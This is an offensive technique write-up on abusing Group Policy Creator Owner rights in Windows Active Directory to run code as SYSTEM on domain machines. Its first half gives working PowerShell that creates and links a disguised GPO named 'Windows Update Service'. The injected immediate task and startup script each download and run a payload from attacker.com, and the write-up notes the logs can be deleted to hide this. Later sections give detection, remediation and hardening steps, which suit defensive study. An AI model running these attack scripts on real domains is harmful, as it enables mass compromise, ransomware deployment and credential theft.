| Attribute | Details |
|---|---|
| Technique ID | EVADE-PERMS-002 |
| MITRE ATT&CK v18.1 | T1222 - File and Directory Permissions Modification |
| Tactic | Defense Evasion |
| Platforms | Windows AD (2012 R2 - 2025) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2012 R2, 2016, 2019, 2022, 2025 (all versions with legacy Group Policy) |
| Patched In | N/A (Architectural design, configuration weakness, not patched) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Group Policy Creator Owner (GPCO) permission model in Windows Active Directory grants the creator of a Group Policy Object automatic CREATOR OWNER access rights, effectively allowing them full control (GenericAll) over the GPO they created. An attacker who can create a new GPO in a domain (requires minimal delegation rights) can then modify that GPO to execute arbitrary commands (via immediate tasks, startup scripts, or registry modifications) on all computers linked to that GPO. This bypasses traditional privilege escalation requirements and provides system-wide code execution as SYSTEM account on targeted machines.
Attack Surface: Group Policy Objects (GPOs) in Active Directory; GPO Group Policy Template (GPT) files in SYSVOL; machines that process the malicious GPO during Group Policy refresh.
Business Impact: System-wide Remote Code Execution. An attacker with GPO creation rights can execute arbitrary commands as SYSTEM on hundreds or thousands of computers simultaneously. This enables ransomware deployment, lateral movement across entire infrastructure, credential dumping on domain controllers, and persistent backdoor establishment. The GPCO model means even unprivileged users who can create GPOs become extremely dangerous.
Technical Context: GPO creation and exploitation takes 1-10 seconds per GPO. The attack is immediate and highly reliable. Machines process Group Policy every 90 minutes by default (configurable), so code execution occurs within that window on targeted computers. The attack leaves minimal forensic artifacts if audit logging is disabled (common).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS AD 5.10 | Ensure Group Policy Auditing is Enabled |
| CIS Benchmark | CIS Windows 2022 2.3.7.2 | Ensure Bluetooth Service is disabled |
| DISA STIG | APPSEC-1 | Access control policies must be properly managed |
| CISA SCuBA | C.IA.02 | Privileged access rights for GPO creation must be restricted |
| NIST 800-53 | AC-2 Account Management | User privileges must be limited to minimum |
| NIST 800-53 | AC-6 Least Privilege | Administration rights must be separated |
| NIST 800-53 | SI-7 Software, Firmware, and Information Integrity | System configuration integrity must be protected |
| GDPR | Art. 32 Security of Processing | Technical measures to protect system integrity |
| NIS2 | Art. 21 Cyber Risk Management | Cyber security measures for critical infrastructure |
| ISO 27001 | A.9.2.1 Management of Privileged Access Rights | Privileged access must be restricted |
| ISO 27005 | Risk: Unauthorized System Configuration | Unauthorized code execution via GPO |
Required Privileges: Ability to create Group Policy Objects in Active Directory. This typically requires one of:
Required Access: Network access to domain (RPC on port 135, LDAP on port 389, SMB on port 445). Write access to SYSVOL share on domain controller.
Supported Versions:
Tools:
Supported Versions: AD 2012 R2+
Objective: Confirm you have permissions to create new Group Policy Objects in the domain.
Command (PowerShell - PowerView):
# Import PowerView
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
# Check if current user can create GPOs
# This requires checking LDAP permissions on CN=Policies,CN=System,DC=corp,DC=local
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=corp,DC=local" |
Where-Object {$_.IdentityReference -match $env:USERNAME} |
Select-Object -Property IdentityReference, ActiveDirectoryRights, ObjectAceType
# Expected output if you have create rights:
# IdentityReference : CORP\attacker
# ActiveDirectoryRights : CreateChild
# ObjectAceType : f30e3bbe-9ff0-11d1-b603-0000f80ec6eb (GPO class GUID)
Expected Output (If Permitted):
IdentityReference ActiveDirectoryRights ObjectAceType
----------------- --------------------- -------------------------
CORP\attacker CreateChild f30e3bbe-9ff0-11d1-b603-0000f80ec6eb
What This Means:
Troubleshooting:
Objective: Create a new Group Policy Object that you control via CREATOR OWNER permissions.
Command (PowerShell - Create GPO):
# Method 1: Using native PowerShell
Import-Module GroupPolicy
# Create new GPO
$GPOName = "Windows Update Service" # Innocuous name
New-GPO -Name $GPOName -Comment "Manages Windows Update settings" | Out-Null
# Link GPO to target OU (affects all machines in that OU)
$TargetOU = "OU=Workstations,DC=corp,DC=local"
New-GPLink -Name $GPOName -Target $TargetOU -LinkEnabled Yes
Write-Host "GPO '$GPOName' created and linked to $TargetOU"
Expected Output:
GPO 'Windows Update Service' created and linked to OU=Workstations,DC=corp,DC=local
What This Means:
Version Note: New-GPO cmdlet available on domain-joined machines with GroupPolicy module (PowerShell 3.0+, Windows Server 2012 R2+).
Objective: Insert a scheduled task into the GPO that executes arbitrary code as SYSTEM on all linked machines.
Command (PowerShell - Add Immediate Task):
# Get the GPO
$GPO = Get-GPO -Name "Windows Update Service"
# Create GPO immediate task configuration
# This will execute when GPO applies (within 90 minutes, often 5-30 min on reboot)
$ScriptContent = @"
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks xmlns="http://schemas.microsoft.com/GroupPolicy/2013/12/ScheduledTasks">
<ImmediateTaskV2 clsid="{FEB50199-6434-48cc-A4B2-D5FFC2608B32}" name="Malicious Task"
image="0" changed="2025-01-09 10:00:00" uid="{12345678-1234-1234-1234-123456789012}">
<Properties action="C" name="Malicious Task" runAs="NT AUTHORITY\SYSTEM" deleteWhenDone="false">
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\Malicious Task</URI>
<Author>Microsoft</Author>
</RegistrationInfo>
<Triggers/>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\SYSTEM</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Actions Context="System">
<Exec>
<Command>cmd.exe</Command>
<Arguments>/c powershell -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
"@
# Write to GPO's ScheduledTasks.xml file in SYSVOL
$GPOPath = "\\DC01\SYSVOL\corp.local\Policies\{$($GPO.Id)}\Machine\Preferences\ScheduledTasks"
New-Item -Path $GPOPath -ItemType Directory -Force | Out-Null
Set-Content -Path "$GPOPath\ScheduledTasks.xml" -Value $ScriptContent -Force
Write-Host "Immediate task injected into GPO. Code execution will occur on next Group Policy refresh."
Expected Output:
Immediate task injected into GPO. Code execution will occur on next Group Policy refresh.
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: AD 2012 R2+
Objective: Find GPOs you can modify (as CREATOR OWNER or via loose ACLs).
Command (PowerShell):
# Find all GPOs where your user has modification rights
Import-Module GroupPolicy
$AllGPOs = Get-GPO -All
ForEach ($GPO in $AllGPOs) {
$GPOPath = "\\DC01\SYSVOL\corp.local\Policies\{$($GPO.Id)}"
Try {
# Test write access
$TestFile = "$GPOPath\write_test.txt"
Set-Content -Path $TestFile -Value "test" -Force -ErrorAction Stop
Remove-Item -Path $TestFile -Force -ErrorAction SilentlyContinue
Write-Host "✓ MODIFIABLE: $($GPO.DisplayName) - $($GPO.Id)"
}
Catch {
# Access denied
}
}
Expected Output:
✓ MODIFIABLE: Group Policy Default Domain Policy - {31B2F340-016D-11D2-945F-00C04FB984F9}
✓ MODIFIABLE: Windows Update Service - {12345678-1234-1234-1234-123456789012}
What This Means:
Objective: Add startup script or immediate task to existing GPO you control.
Command (PowerShell - Add Startup Script):
# Simpler alternative to ScheduledTasks.xml: Add startup script
# Startup scripts execute as SYSTEM during machine boot
$GPO = Get-GPO -Name "Group Policy Default Domain Policy"
$GPOId = $GPO.Id
$ScriptsPath = "\\DC01\SYSVOL\corp.local\Policies\{$GPOId}\Machine\Scripts\Startup"
# Create Scripts directory if not exists
New-Item -Path $ScriptsPath -ItemType Directory -Force | Out-Null
# Create malicious batch script
$PayloadScript = @"
@echo off
REM Download and execute attacker payload
powershell -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
"@
Set-Content -Path "$ScriptsPath\malware.bat" -Value $PayloadScript -Force
# Update GPT.ini to reference the script
$GptIniPath = "\\DC01\SYSVOL\corp.local\Policies\{$GPOId}\gpt.ini"
$GptIni = Get-Content $GptIniPath
# Increment version number to force policy refresh
If ($GptIni -match "Version=(\d+)") {
$NewVersion = [int]$matches[1] + 1
$GptIni = $GptIni -replace "Version=\d+", "Version=$NewVersion"
}
Set-Content -Path $GptIniPath -Value $GptIni -Force
Write-Host "Startup script injected. Execution on next machine reboot."
Expected Output:
Startup script injected. Execution on next machine reboot.
What This Means:
OpSec & Evasion:
Supported Versions: AD 2012 R2+
Objective: Modify administrative templates in Group Policy Central Store to inject settings affecting all machines.
Command (PowerShell):
# Create Group Policy Central Store if not exists
$CentralStorePath = "\\DC01\SYSVOL\corp.local\Policies\PolicyDefinitions"
# Create custom .admx template with malicious settings
$CustomAdmx = @"
<?xml version="1.0" encoding="utf-8"?>
<policyDefinitions xmlns="http://schemas.microsoft.com/GroupPolicy/2006/01/core"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
revision="1.0">
<policyNamespaces>
<target prefix="malware" namespace="Malware.Policies"/>
</policyNamespaces>
<resources minRequiredRevision="1.0"/>
<categories>
<category name="Malware" displayName="Malware Configuration"/>
</categories>
<policies>
<policy name="ExecutePayload" class="Machine" displayName="Execute Payload"
explainText="Executes payload on logon" presentation="urn:microsoft.com:Windows.Presentation">
<parentCategory ref="Malware"/>
<supportedOn ref="windows:SUPPORTED_WIN7"/>
<elements>
<text id="Command" required="false"/>
</elements>
<!-- This would be registry-based execution in production -->
</policy>
</policies>
</policyDefinitions>
"@
New-Item -Path $CentralStorePath -ItemType Directory -Force | Out-Null
Set-Content -Path "$CentralStorePath\malware.admx" -Value $CustomAdmx -Force
Write-Host "Custom administrative template injected. Reload Group Policy Management Console to view."
What This Means:
Active Directory Events:
SYSVOL Modifications:
\Policies\{GPO-GUID}\Machine\Scripts\Startup\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasksClient-Side Events (Machines Applying GPO):
SYSVOL (Recoverable):
Registry (On Affected Machines):
Event Logs:
Immediate Action (< 5 minutes):
# Option A: Delete the malicious GPO (fastest)
Remove-GPO -Name "Windows Update Service" -Confirm:$false
# Option B: Disable GPO (safer - allows rollback)
Get-GPO -Name "Windows Update Service" | Disable-GPO
# Option C: Unlink GPO from OUs
Get-GPLink -Target "OU=Workstations,DC=corp,DC=local" -GUID (Get-GPO -Name "Windows Update Service").Id | Remove-GPLink -Confirm:$false
# Force immediate Group Policy refresh on affected machines
# (from affected machine)
gpupdate /force
Manual (Group Policy Management Console):
Command (Export GPO Configurations):
# Backup malicious GPO before deletion
$GPO = Get-GPO -Name "Windows Update Service"
Backup-GPO -Guid $GPO.Id -Path "C:\Evidence\GPOBackup"
# Export GPO report
Get-GPOReport -Guid $GPO.Id -ReportType Xml -Path "C:\Evidence\GPOReport.xml"
# Export SYSVOL files for analysis
Copy-Item -Path "\\DC01\SYSVOL\corp.local\Policies\{$($GPO.Id)}" -Destination "C:\Evidence\GPOFiles" -Recurse
Manual (SYSVOL Collection):
\\DCName\SYSVOLPolicies\{GPO-GUID}Command (Force Group Policy Refresh on All Machines):
# Force refresh on all machines (using GPO)
# This commands machines to re-process all GPOs immediately
Invoke-GPUpdate -Computer "Workstation01, Workstation02, Workstation03" -Force -RandomDelayInMinutes 0
# Or via Group Policy Management Console:
# Select OU → Right-click → Group Policy Update (forces immediate refresh)
# Alternatively, for mass remediation:
Get-ADComputer -Filter * -SearchBase "OU=Workstations,DC=corp,DC=local" |
ForEach-Object {Invoke-Command -ComputerName $_.Name -ScriptBlock {gpupdate /force}}
Command (Revoke GPO Creation Rights):
# Remove attacker from Group Policy Creator Owner group
Remove-ADGroupMember -Identity "Group Policy Creator Owner" -Members "CORP\attacker" -Confirm:$false
# Verify removal
Get-ADGroupMember -Identity "Group Policy Creator Owner" | Where-Object {$_.Name -match "attacker"}
Action 1: Restrict GPO Creation Rights
Applies To: All domains with delegation of GPO creation
Manual Steps (PowerShell):
# Get current members of Group Policy Creator Owner group
Get-ADGroupMember -Identity "Group Policy Creator Owner"
# Remove unprivileged users
Remove-ADGroupMember -Identity "Group Policy Creator Owner" -Members "HelpDesk_Admin, JuniorAdmin" -Confirm:$false
# Whitelist ONLY senior admins
$ApprovedAdmins = @("Domain Admin 1", "Domain Admin 2")
$CurrentMembers = Get-ADGroupMember -Identity "Group Policy Creator Owner"
ForEach ($Member in $CurrentMembers) {
If ($ApprovedAdmins -notcontains $Member.Name) {
Remove-ADGroupMember -Identity "Group Policy Creator Owner" -Members $Member -Confirm:$false
Write-Host "Removed: $($Member.Name)"
}
}
Manual Steps (Active Directory Users and Computers):
Action 2: Enable GPO Audit Logging
Manual Steps (Group Policy):
gpupdate /force on domain controllersManual Steps (PowerShell - Enable on Default Domain Policy):
# Create audit policy for GPO changes
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
# Verify audit policy
auditpol /get /subcategory:"Directory Service Changes"
Action 3: Remove CREATOR OWNER ACE from Critical GPOs
Manual Steps (Remediation):
# List all GPOs
$AllGPOs = Get-GPO -All
ForEach ($GPO in $AllGPOs) {
$GPOPath = "AD:\CN={$($GPO.Id)},CN=Policies,CN=System,DC=corp,DC=local"
$ACL = Get-Acl -Path $GPOPath
# Find and remove CREATOR OWNER ACE
$ACL.Access | Where-Object {$_.IdentityReference -match "CREATOR OWNER"} | ForEach-Object {
Write-Host "Removing CREATOR OWNER from: $($GPO.DisplayName)"
$ACL.RemoveAccessRule($_)
}
Set-Acl -Path $GPOPath -AclObject $ACL
}
Action 1: Implement Explicit ACL Restrictions on GPOs
Manual Steps (PowerShell):
# For each GPO, ensure ONLY Domain Admins and Enterprise Admins can edit
$AllGPOs = Get-GPO -All
ForEach ($GPO in $AllGPOs) {
$GPOPath = "AD:\CN={$($GPO.Id)},CN=Policies,CN=System,DC=corp,DC=local"
$ACL = Get-Acl -Path $GPOPath
# Remove all permissions except Domain Admins and SYSTEM
$ACL.Access | Where-Object {
$_.IdentityReference -notmatch "BUILTIN\\Administrators|SYSTEM|Domain Admins|Enterprise Admins"
} | ForEach-Object {
Write-Host "Removing: $($_.IdentityReference) from $($GPO.DisplayName)"
$ACL.RemoveAccessRule($_)
}
Set-Acl -Path $GPOPath -AclObject $ACL
}
Action 2: Monitor GPO Creation Events
Manual Steps (Create Alert in Event Log):
4887, 5136, 5137Access Control & Policy Hardening
Action 1: Use Restricted Admin Mode for GPO Management
Manual Steps (PowerShell Execution Policy):
# Restrict execution of scripts that could modify GPOs
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope LocalMachine
# Enforce code signing on all PowerShell scripts
Get-ChildItem -Path "\\DC01\SYSVOL\corp.local" -Filter "*.ps1" -Recurse | ForEach-Object {
$Signature = Get-AuthenticodeSignature -FilePath $_.FullName
If ($Signature.Status -ne "Valid") {
Write-Host "UNSIGNED: $($_.FullName) - Potential malicious script"
}
}
Action 2: Implement Read-Only SYSVOL for Non-Admins
Manual Steps (NTFS Permissions):
# Remove write permissions from Domain Users on SYSVOL
$SysvolPath = "\\DC01\SYSVOL\corp.local"
icacls $SysvolPath /remove "Domain Users"
icacls $SysvolPath /remove "Authenticated Users"
# Verify only admins have write access
icacls $SysvolPath
PowerShell - Verify Mitigations:
# 1. Verify Group Policy Creator Owner restricted
Write-Host "=== Group Policy Creator Owner Members ==="
$GPCOMembers = Get-ADGroupMember -Identity "Group Policy Creator Owner"
If ($GPCOMembers.Count -le 2) {
Write-Host "✓ GPCO group properly restricted" -ForegroundColor Green
} Else {
Write-Host "✗ GPCO group has too many members: $($GPCOMembers.Count)" -ForegroundColor Red
}
# 2. Verify GPO audit logging enabled
Write-Host "`n=== GPO Audit Policy ==="
auditpol /get /subcategory:"Directory Service Changes" |
Select-String "Success and Failure|No Auditing" | ForEach-Object {
If ($_ -match "Success and Failure") {
Write-Host "✓ Directory Service Changes auditing ENABLED" -ForegroundColor Green
} Else {
Write-Host "✗ Directory Service Changes auditing DISABLED" -ForegroundColor Red
}
}
# 3. Scan for suspicious CREATOR OWNER ACEs
Write-Host "`n=== Scanning for CREATOR OWNER ACEs ==="
$SuspiciousGPOs = 0
Get-GPO -All | ForEach-Object {
$GPOPath = "AD:\CN={$($_.Id)},CN=Policies,CN=System,DC=corp,DC=local"
$ACL = Get-Acl -Path $GPOPath -ErrorAction SilentlyContinue
$CreatorOwner = $ACL.Access | Where-Object {$_.IdentityReference -match "CREATOR OWNER"}
If ($CreatorOwner) {
Write-Host "✗ CREATOR OWNER found on: $($_.DisplayName)" -ForegroundColor Red
$SuspiciousGPOs++
}
}
If ($SuspiciousGPOs -eq 0) {
Write-Host "✓ No CREATOR OWNER ACEs found" -ForegroundColor Green
}
Expected Output (If Secure):
=== Group Policy Creator Owner Members ===
✓ GPCO group properly restricted
=== GPO Audit Policy ===
✓ Directory Service Changes auditing ENABLED
=== Scanning for CREATOR OWNER ACEs ===
✓ No CREATOR OWNER ACEs found
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into approving OAuth consent |
| 2 | Reconnaissance | [REC-AD-003] PowerView Enumeration | Attacker enumerates GPO permissions and identifies create rights |
| 3 | Privilege Escalation | [EVADE-PERMS-002] | Attacker creates malicious GPO and gains SYSTEM access via immediate task |
| 4 | Defense Evasion | [EVADE-LOG-001] Event Log Deletion | Attacker clears audit logs on affected machines to hide execution |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Attacker uses SYSTEM token to move laterally to other machines |
| 6 | Impact | [IMPACT-DATA-001] Mass Data Exfiltration | Attacker dumps NTDS.dit and credential databases on domain controller |
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Create Group Policy Object"
| where InitiatedBy[0].userPrincipalName !contains "@admin"
| extend InitiatedByUser = InitiatedBy[0].userPrincipalName
| extend TargetObject = TargetResources[0].displayName
| summarize count() by InitiatedByUser, TargetObject, TimeGenerated
| where count_ >= 1
What This Detects:
KQL Query:
SecurityEvent
| where EventID in (5145) // Network share object access
| where ObjectName contains "SYSVOL"
| where AccessMask in ("0x100081", "0x1200a9") // Write/Modify access
| where SubjectUserName !contains "admin" and SubjectUserName != "SYSTEM"
| summarize FileModifications = count(), Files = make_set(ObjectName) by SubjectUserName, ComputerName
| where FileModifications >= 1